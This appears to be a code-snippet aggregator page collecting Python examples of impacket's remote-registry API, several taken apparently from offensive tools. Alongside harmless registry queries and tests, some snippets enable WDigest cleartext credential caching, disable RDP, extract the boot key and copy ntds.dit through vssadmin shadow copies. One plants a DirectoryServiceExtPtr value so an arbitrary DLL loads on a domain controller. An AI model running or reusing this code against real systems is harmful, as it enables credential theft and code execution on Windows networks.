Esempio n. 1
0
    def add(self, dce, keyName):
        hRootKey, subKey = self.__strip_root_key(dce, keyName)

        # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)
        if self.__options.v is None: # Try to create subkey
            subKeyCreate = subKey
            subKey = '\\'.join(subKey.split('\\')[:-1])

            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)

            # Should I use ans2?

            ans3 = rrp.hBaseRegCreateKey(
                dce, hRootKey, subKeyCreate,
                samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY
            )
            if ans3['ErrorCode'] == 0:
                print('Successfully set subkey %s' % (
                    keyName
                ))
            else:
                print('Error 0x%08x while creating subkey %s' % (
                    ans3['ErrorCode'], keyName
                ))

        else: # Try to set value of key
            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)


            dwType = getattr(rrp, self.__options.vt, None)

            if dwType is None or not self.__options.vt.startswith('REG_'):
                raise Exception('Error parsing value type %s' % self.__options.vt)

            #Fix (?) for packValue function
            if dwType in (
                rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN,
                rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN
            ):
                valueData = int(self.__options.vd)
            else:
                valueData = self.__options.vd

            ans3 = rrp.hBaseRegSetValue(
                dce, ans2['phkResult'], self.__options.v, dwType, valueData
            )

            if ans3['ErrorCode'] == 0:
                print('Successfully set key %s\\%s of type %s to value %s' % (
                    keyName, self.__options.v, self.__options.vt, valueData
                ))
            else:
                print('Error 0x%08x while setting key %s\\%s of type %s to value %s' % (
                    ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueData
                ))
Esempio n. 2
0
    def test_hBaseRegQueryValue(self):
        dce, rpctransport, phKey = self.connect()

        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00' )
        resp.dump()

        resp = rrp.hBaseRegQueryValue(dce, resp['phkResult'], 'ProductName\x00')
Esempio n. 3
0
    def rdp_disable(self, context, smbconnection):
        remoteOps = RemoteOperations(smbconnection, False)
        remoteOps.enableRegistry()

        if remoteOps._RemoteOperations__rrp:
            ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(
                remoteOps._RemoteOperations__rrp, regHandle,
                'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
            keyHandle = ans['phkResult']

            rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle,
                                 'fDenyTSConnections\x00', rrp.REG_DWORD, 1)

            rtype, data = rrp.hBaseRegQueryValue(
                remoteOps._RemoteOperations__rrp, keyHandle,
                'fDenyTSConnections\x00')

            if int(data) == 1:
                context.log.success('RDP disabled successfully')

        try:
            remoteOps.finish()
        except:
            pass
Esempio n. 4
0
    def enable(self):
        remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
        remoteOps.enableRegistry()
        self.rrp = remoteOps._RemoteOperations__rrp

        if self.rrp is not None:
            ans = rrp.hOpenLocalMachine(self.rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(
                self.rrp, regHandle,
                'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'
            )
            keyHandle = ans['phkResult']

            rrp.hBaseRegSetValue(self.rrp, keyHandle, 'UseLogonCredential\x00',
                                 rrp.REG_DWORD, 1)

            rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle,
                                                 'UseLogonCredential\x00')

            if int(data) == 1:
                self.logger.success(
                    'UseLogonCredential registry key created successfully')

        try:
            remoteOps.finish()
        except:
            pass
Esempio n. 5
0
 def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index):
     index = 0
     while True:
         try:
             subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
             index += 1
             ans = rrp.hBaseRegOpenKey(rpc,
                                       keyHandler,
                                       subkey['lpNameOut'],
                                       samDesired=rrp.MAXIMUM_ALLOWED
                                       | rrp.KEY_ENUMERATE_SUB_KEYS)
             newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\'
             print(newKeyName)
             self.__print_key_values(rpc, ans['phkResult'])
             self.__print_all_subkeys_and_entries(rpc, newKeyName,
                                                  ans['phkResult'], 0)
         except rrp.DCERPCSessionError as e:
             if e.get_error_code() == ERROR_NO_MORE_ITEMS:
                 break
         except rpcrt.DCERPCException as e:
             if str(e).find('access_denied') >= 0:
                 logging.error('Cannot access subkey %s, bypassing it' %
                               subkey['lpNameOut'][:-1])
                 continue
             elif str(e).find('rpc_x_bad_stub_data') >= 0:
                 logging.error(
                     'Fault call, cannot retrieve value for %s, bypassing it'
                     % subkey['lpNameOut'][:-1])
                 return
             raise
Esempio n. 6
0
    def get_bootKey(self):
        bootKey = ''
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']

        for key in ['JD', 'Skew1', 'GBG', 'Data']:
            logger.debug('Retrieving class info for %s' % key)
            ans = rrp.hBaseRegOpenKey(
                self.__rrp, self.__regHandle,
                'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
            keyHandle = ans['phkResult']
            ans = rrp.hBaseRegQueryInfoKey(self.__rrp, keyHandle)
            bootKey = bootKey + ans['lpClassOut'][:-1]
            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
        bootKey = bootKey.decode('hex')

        for i in xrange(len(bootKey)):
            self.__bootKey += bootKey[transforms[i]]

        logger.info('Target system bootKey: 0x%s' %
                    self.__bootKey.encode('hex'))

        return self.__bootKey
Esempio n. 7
0
    def disable(self):
        remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
        remoteOps.enableRegistry()
        self.rrp = remoteOps._RemoteOperations__rrp

        if self.rrp is not None:
            ans = rrp.hOpenLocalMachine(self.rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(
                self.rrp, regHandle,
                'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'
            )
            keyHandle = ans['phkResult']

            rrp.hBaseRegDeleteValue(self.rrp, keyHandle,
                                    'UseLogonCredential\x00')

            try:
                #Check to make sure the reg key is actually deleted
                rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle,
                                                     'UseLogonCredential\x00')
            except DCERPCException:
                self.logger.success(
                    'UseLogonCredential registry key deleted successfully')

        try:
            remoteOps.finish()
        except:
            pass
Esempio n. 8
0
    def test_hBaseRegQueryInfoKey(self):
        dce, rpctransport, phKey = self.connect()

        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD\x00' )

        resp = rrp.hBaseRegQueryInfoKey(dce,resp['phkResult'])
        resp.dump()
Esempio n. 9
0
    def query(self, dce, keyName):
        hRootKey, subKey = self.__strip_root_key(dce, keyName)

        ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
                                   samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)

        if self.__options.v:
            print(keyName)
            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v)
            print('\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1]))
        elif self.__options.ve:
            print(keyName)
            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '')
            print('\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1]))
        elif self.__options.s:
            self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0)
        else:
            print(keyName)
            self.__print_key_values(dce, ans2['phkResult'])
            i = 0
            while True:
                try:
                    key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
                    print(keyName + '\\' + key['lpNameOut'][:-1])
                    i += 1
                except Exception:
                    break
Esempio n. 10
0
    def test_hBaseRegQueryMultipleValues(self):
        dce, rpctransport = self.connect()
        phKey = self.open_local_machine(dce)

        resp = rrp.hBaseRegOpenKey(
            dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00')
        resp.dump()

        valueIn = list()
        item1 = {}
        item1['ValueName'] = 'ProductName\x00'
        item1['ValueType'] = rrp.REG_SZ
        valueIn.append(item1)

        item2 = {}
        item2['ValueName'] = 'InstallDate\x00'
        item2['ValueType'] = rrp.REG_DWORD
        valueIn.append(item2)

        item3 = {}
        item3['ValueName'] = 'DigitalProductId\x00'
        item3['ValueType'] = rrp.REG_BINARY
        #valueIn.append(item3)

        rrp.hBaseRegQueryMultipleValues(dce, resp['phkResult'], valueIn)
Esempio n. 11
0
    def test_hBaseRegQueryValue(self):
        dce, rpctransport, phKey = self.connect()

        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00' )
        resp.dump()

        resp = rrp.hBaseRegQueryValue(dce, resp['phkResult'], 'ProductName\x00')
Esempio n. 12
0
    def wdigest_enable(self, context, smbconnection):
        remoteOps = RemoteOperations(smbconnection, False)
        remoteOps.enableRegistry()

        if remoteOps._RemoteOperations__rrp:
            ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(
                remoteOps._RemoteOperations__rrp, regHandle,
                'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'
            )
            keyHandle = ans['phkResult']

            rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle,
                                 'UseLogonCredential\x00', rrp.REG_DWORD, 1)

            rtype, data = rrp.hBaseRegQueryValue(
                remoteOps._RemoteOperations__rrp, keyHandle,
                'UseLogonCredential\x00')

            if int(data) == 1:
                context.log.success(
                    'UseLogonCredential registry key created successfully')

        try:
            remoteOps.finish()
        except:
            pass
Esempio n. 13
0
    def test_hBaseRegQueryInfoKey(self):
        dce, rpctransport, phKey = self.connect()

        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD\x00' )

        resp = rrp.hBaseRegQueryInfoKey(dce,resp['phkResult'])
        resp.dump()
Esempio n. 14
0
    def disable(self):
        remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
        remoteOps.enableRegistry()
        self.rrp = remoteOps._RemoteOperations__rrp

        if self.rrp is not None:
            ans = rrp.hOpenLocalMachine(self.rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
            keyHandle = ans['phkResult']

            try:
                rrp.hBaseRegDeleteValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
            except:
                self.logger.success('UseLogonCredential registry key not present')

                try:
                    remoteOps.finish()
                except:
                    pass

                return

            try:
                #Check to make sure the reg key is actually deleted
                rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
            except DCERPCException:
                self.logger.success('UseLogonCredential registry key deleted successfully')
                
                try:
                    remoteOps.finish()
                except:
                    pass
def start(remoteName, remoteHost, username, password, dllPath):

    winreg_bind = r'ncacn_np:445[\pipe\winreg]'
    hRootKey = None
    subkey = None
    rrpclient = None

    print("[*] Connecting to remote registry")

    try:
        rpctransport = transport.SMBTransport(remoteHost, 445, r'\winreg',
                                              username, password, "", "", "",
                                              "")
    except (Exception) as e:
        print("[x] Error establishing SMB connection: %s" % e)
        return

    try:
        # Set up winreg RPC
        rrpclient = rpctransport.get_dce_rpc()
        rrpclient.connect()
        rrpclient.bind(rrp.MSRPC_UUID_RRP)
    except (Exception) as e:
        print("[x] Error binding to remote registry: %s" % e)
        return

    print("[*] Connection established")
    print(
        "[*] Adding new value to SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPtr"
    )

    try:
        # Add a new registry key
        ans = rrp.hOpenLocalMachine(rrpclient)
        hRootKey = ans['phKey']
        subkey = rrp.hBaseRegOpenKey(
            rrpclient, hRootKey, "SYSTEM\\CurrentControlSet\\Services\\NTDS")
        rrp.hBaseRegSetValue(rrpclient, subkey["phkResult"],
                             "DirectoryServiceExtPt", 1, dllPath)
    except (Exception) as e:
        print("[x] Error communicating with remote registry: %s" % e)
        return

    print("[*] Registry value created, DLL will be loaded from %s" % (dllPath))

    trigger_samr(remoteHost, username, password)

    print("[*] Removing registry entry")

    try:
        rrp.hBaseRegDeleteValue(rrpclient, subkey["phkResult"],
                                "DirectoryServiceExtPt")
    except (Exception) as e:
        print("[x] Error deleting from remote registry: %s" % e)
        return

    print("[*] All done")
Esempio n. 16
0
    def checkUAC(self, dce):
        #
        try:
            ans = rrp.hOpenLocalMachine(dce)
            regHandle = ans['phKey']
        except Exception as e:
            logging.debug('Exception thrown when hOpenLocalMachine: %s',
                          str(e))
            return

        self.logger.highlight('UAC Status:')

        try:
            resp = rrp.hBaseRegOpenKey(
                dce, regHandle,
                'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
            )
            keyHandle = resp['phkResult']
        except Exception as e:
            logging.debug('Exception thrown when hBaseRegOpenKey: %s', str(e))
            return

        try:
            dataType, lua_uac_value = rrp.hBaseRegQueryValue(
                dce, keyHandle, 'EnableLUA')
        except Exception as e:
            logging.debug('Exception thrown when hBaseRegQueryValue: %s',
                          str(e))
            self.logger.highlight('     enableLua key does not exist!')
            lua_uac_value = 3
            pass

        try:
            dataType, latfp_uac_value = rrp.hBaseRegQueryValue(
                dce, keyHandle, 'LocalAccountTokenFilterPolicy')
        except Exception as e:
            logging.debug('Exception thrown when hBaseRegQueryValue: %s',
                          str(e))
            self.logger.highlight(
                '     LocalAccountTokenFilterPolicy key does not exist!')
            latfp_uac_value = 3
            pass

        if lua_uac_value == 1:
            #print('enableLua = 1')
            self.logger.highlight('    enableLua = 1')
        elif lua_uac_value == 0:
            #print('enableLua = 0')
            self.logger.highlight('    enableLua = 0')

        if latfp_uac_value == 1:
            #print('enableLua = 1')
            self.logger.highlight('    LocalAccountTokenFilterPolicy = 1')
        elif latfp_uac_value == 0:
            #print('enableLua = 0')
            self.logger.highlight('    LocalAccountTokenFilterPolicy = 0')
Esempio n. 17
0
    def query(self, dce, keyName):
        # Let's strip the root key
        try:
            rootKey = keyName.split('\\')[0]
            subKey = '\\'.join(keyName.split('\\')[1:])
        except Exception:
            raise Exception('Error parsing keyName %s' % keyName)

        if rootKey.upper() == 'HKLM':
            ans = rrp.hOpenLocalMachine(dce)
        elif rootKey.upper() == 'HKU':
            ans = rrp.hOpenCurrentUser(dce)
        elif rootKey.upper() == 'HKCR':
            ans = rrp.hOpenClassesRoot(dce)
        else:
            raise Exception('Invalid root key %s ' % rootKey)

        hRootKey = ans['phKey']

        ans2 = rrp.hBaseRegOpenKey(dce,
                                   hRootKey,
                                   subKey,
                                   samDesired=rrp.MAXIMUM_ALLOWED
                                   | rrp.KEY_ENUMERATE_SUB_KEYS
                                   | rrp.KEY_QUERY_VALUE)

        if self.__options.v:
            print(keyName)
            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'],
                                           self.__options.v)
            print(
                '\t' + self.__options.v + '\t' +
                self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t',
                str(value[1]))
        elif self.__options.ve:
            print(keyName)
            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '')
            print(
                '\t' + '(Default)' + '\t' +
                self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t',
                str(value[1]))
        elif self.__options.s:
            self.__print_all_subkeys_and_entries(dce, subKey + '\\',
                                                 ans2['phkResult'], 0)
        else:
            print(keyName)
            self.__print_key_values(dce, ans2['phkResult'])
            i = 0
            while True:
                try:
                    key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
                    print(keyName + '\\' + key['lpNameOut'][:-1])
                    i += 1
                except Exception:
                    break
Esempio n. 18
0
    def saveNTDS(self):
        logging.info('Searching for NTDS.dit')
        # First of all, let's try to read the target NTDS.dit registry entry
        ans = rrp.hOpenLocalMachine(self.__rrp)
        regHandle = ans['phKey']
        try:
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
            keyHandle = ans['phkResult']
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        try:
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
            ntdsLocation = dataValue[:-1]
            ntdsDrive = ntdsLocation[:2]
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
        rrp.hBaseRegCloseKey(self.__rrp, regHandle)

        logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
        # Get the list of remote shadows
        shadow, shadowFor = self.__getLastVSS()
        if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
            # No shadow, create one
            self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
            shadow, shadowFor = self.__getLastVSS()
            shouldRemove = True
            if shadow == '':
                raise Exception('Could not get a VSS')
        else:
            shouldRemove = False

        # Now copy the ntds.dit to the temp directory
        tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'

        self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))

        if shouldRemove is True:
            self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)

        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')

        remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)

        return remoteFileName
Esempio n. 19
0
    def saveNTDS(self):
        logging.info('Searching for NTDS.dit')
        # First of all, let's try to read the target NTDS.dit registry entry
        ans = rrp.hOpenLocalMachine(self.__rrp)
        regHandle = ans['phKey']
        try:
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
            keyHandle = ans['phkResult']
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        try:
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
            ntdsLocation = dataValue[:-1]
            ntdsDrive = ntdsLocation[:2]
        except:
            # Can't open the registry path, assuming no NTDS on the other end
            return None

        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
        rrp.hBaseRegCloseKey(self.__rrp, regHandle)

        logging.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
        # Get the list of remote shadows
        shadow, shadowFor = self.__getLastVSS()
        if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
            # No shadow, create one
            self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
            shadow, shadowFor = self.__getLastVSS()
            shouldRemove = True
            if shadow == '':
                raise Exception('Could not get a VSS')
        else:
            shouldRemove = False

        # Now copy the ntds.dit to the temp directory
        tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'

        self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))

        if shouldRemove is True:
            self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)

        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')

        remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)

        return remoteFileName
Esempio n. 20
0
 def getDefaultLoginAccount(self):
     try:
         ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
         keyHandle = ans['phkResult']
         dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
         username = dataValue[:-1]
         dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
         domain = dataValue[:-1]
         rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
         if len(domain) > 0:
             return '%s\\%s' % (domain,username)
         else:
             return username
     except:
         return None
Esempio n. 21
0
 def getDefaultLoginAccount(self):
     try:
         ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
         keyHandle = ans['phkResult']
         dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
         username = dataValue[:-1]
         dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
         domain = dataValue[:-1]
         rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
         if len(domain) > 0:
             return '%s\\%s' % (domain,username)
         else:
             return username
     except:
         return None
Esempio n. 22
0
    def run(self):
        remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
        remoteOps.enableRegistry()
        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
        regHandle = ans['phKey']
        ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
        keyHandle = ans['phkResult']
        dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')

        print_succ("{} UAC status:".format(self.peer))
        if uac_value == 1:
            print_att('1 - UAC Enabled')
        elif uac_value == 0:
            print_att('0 - UAC Disabled')

        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
        remoteOps.finish()
Esempio n. 23
0
    def on_admin_login(self, context, connection):
        remoteOps = RemoteOperations(connection.conn, False)
        remoteOps.enableRegistry()

        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
        regHandle = ans['phKey']
        ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
        keyHandle = ans['phkResult']
        dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')

        if uac_value == 1:
            context.log.highlight('UAC Status: 1 (UAC Enabled)')
        elif uac_value == 0:
            context.log.highlight('UAC Status: 0 (UAC Disabled)')

        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
        remoteOps.finish()
Esempio n. 24
0
    def enum(self):
        remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
        remoteOps.enableRegistry()
        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
        regHandle = ans['phKey']
        ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
        keyHandle = ans['phkResult']
        dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')

        self.logger.success("Enumerating UAC status")
        if uac_value == 1:
            self.logger.highlight('1 - UAC Enabled')
        elif uac_value == 0:
            self.logger.highlight('0 - UAC Disabled')

        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
        remoteOps.finish()
Esempio n. 25
0
 def save(self, dce, keyName):
     hRootKey, subKey = self.__strip_root_key(dce, keyName)
     outputFileName = "%s\%s.save" % (self.__options.outputPath, subKey)
     logging.debug(
         "Dumping %s, be patient it can take a while for large hives (e.g. HKLM\SYSTEM)"
         % keyName)
     try:
         ans2 = rrp.hBaseRegOpenKey(dce,
                                    hRootKey,
                                    subKey,
                                    dwOptions=rrp.REG_OPTION_BACKUP_RESTORE
                                    | rrp.REG_OPTION_OPEN_LINK,
                                    samDesired=rrp.KEY_READ)
         rrp.hBaseRegSaveKey(dce, ans2['phkResult'], outputFileName)
         logging.info("Saved %s to %s" % (keyName, outputFileName))
     except Exception as e:
         logging.error("Couldn't save %s: %s" % (keyName, e))
Esempio n. 26
0
    def enum(self):
        remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
        remoteOps.enableRegistry()
        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
        regHandle = ans['phKey']
        ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
        keyHandle = ans['phkResult']
        dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')

        self.logger.success("Enumerating UAC status")
        if uac_value == 1:
            self.logger.highlight('1 - UAC Enabled')
        elif uac_value == 0:
            self.logger.highlight('0 - UAC Disabled')

        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
        remoteOps.finish()
Esempio n. 27
0
    def checkNoLMHashPolicy(self):
        logging.debug('Checking NoLMHash Policy')
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']

        ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
        keyHandle = ans['phkResult']
        try:
            dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
        except:
            noLMHash = 0

        if noLMHash != 1:
            logging.debug('LMHashes are being stored')
            return False

        logging.debug('LMHashes are NOT being stored')
        return True
Esempio n. 28
0
    def checkNoLMHashPolicy(self):
        logging.debug('Checking NoLMHash Policy')
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']

        ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
        keyHandle = ans['phkResult']
        try:
            dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
        except:
            noLMHash = 0

        if noLMHash != 1:
            logging.debug('LMHashes are being stored')
            return False

        logging.debug('LMHashes are NOT being stored')
        return True
Esempio n. 29
0
    def query(self, dce, keyName):
        # Let's strip the root key
        try:
            rootKey = keyName.split('\\')[0]
            subKey = '\\'.join(keyName.split('\\')[1:])
        except Exception:
            raise Exception('Error parsing keyName %s' % keyName)

        if rootKey.upper() == 'HKLM':
            ans = rrp.hOpenLocalMachine(dce)
        elif rootKey.upper() == 'HKU':
            ans = rrp.hOpenCurrentUser(dce)
        elif rootKey.upper() == 'HKCR':
            ans = rrp.hOpenClassesRoot(dce)
        else:
            raise Exception('Invalid root key %s ' % rootKey)

        hRootKey = ans['phKey']

        ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
                                   samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)

        if self.__options.v:
            print keyName
            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v)
            print '\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])
        elif self.__options.ve:
            print keyName
            value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '')
            print '\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])
        elif self.__options.s:
            self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0)
        else:
            print keyName
            self.__print_key_values(dce, ans2['phkResult'])
            i = 0
            while True:
                try:
                    key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i)
                    print keyName + '\\' + key['lpNameOut'][:-1]
                    i += 1
                except Exception:
                    break
Esempio n. 30
0
    def run(self):
        remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
        remoteOps.enableRegistry()
        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
        regHandle = ans['phKey']
        ans = rrp.hBaseRegOpenKey(
            remoteOps._RemoteOperations__rrp, regHandle,
            'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
        keyHandle = ans['phkResult']
        dataType, uac_value = rrp.hBaseRegQueryValue(
            remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')

        print_succ("{} UAC status:".format(self.peer))
        if uac_value == 1:
            print_att('1 - UAC Enabled')
        elif uac_value == 0:
            print_att('0 - UAC Disabled')

        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
        remoteOps.finish()
Esempio n. 31
0
    def wdigest_disable(self, context, smbconnection):
        remoteOps = RemoteOperations(smbconnection, False)
        remoteOps.enableRegistry()

        if remoteOps._RemoteOperations__rrp:
            ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(
                remoteOps._RemoteOperations__rrp, regHandle,
                'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'
            )
            keyHandle = ans['phkResult']

            try:
                rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp,
                                        keyHandle, 'UseLogonCredential\x00')
            except:
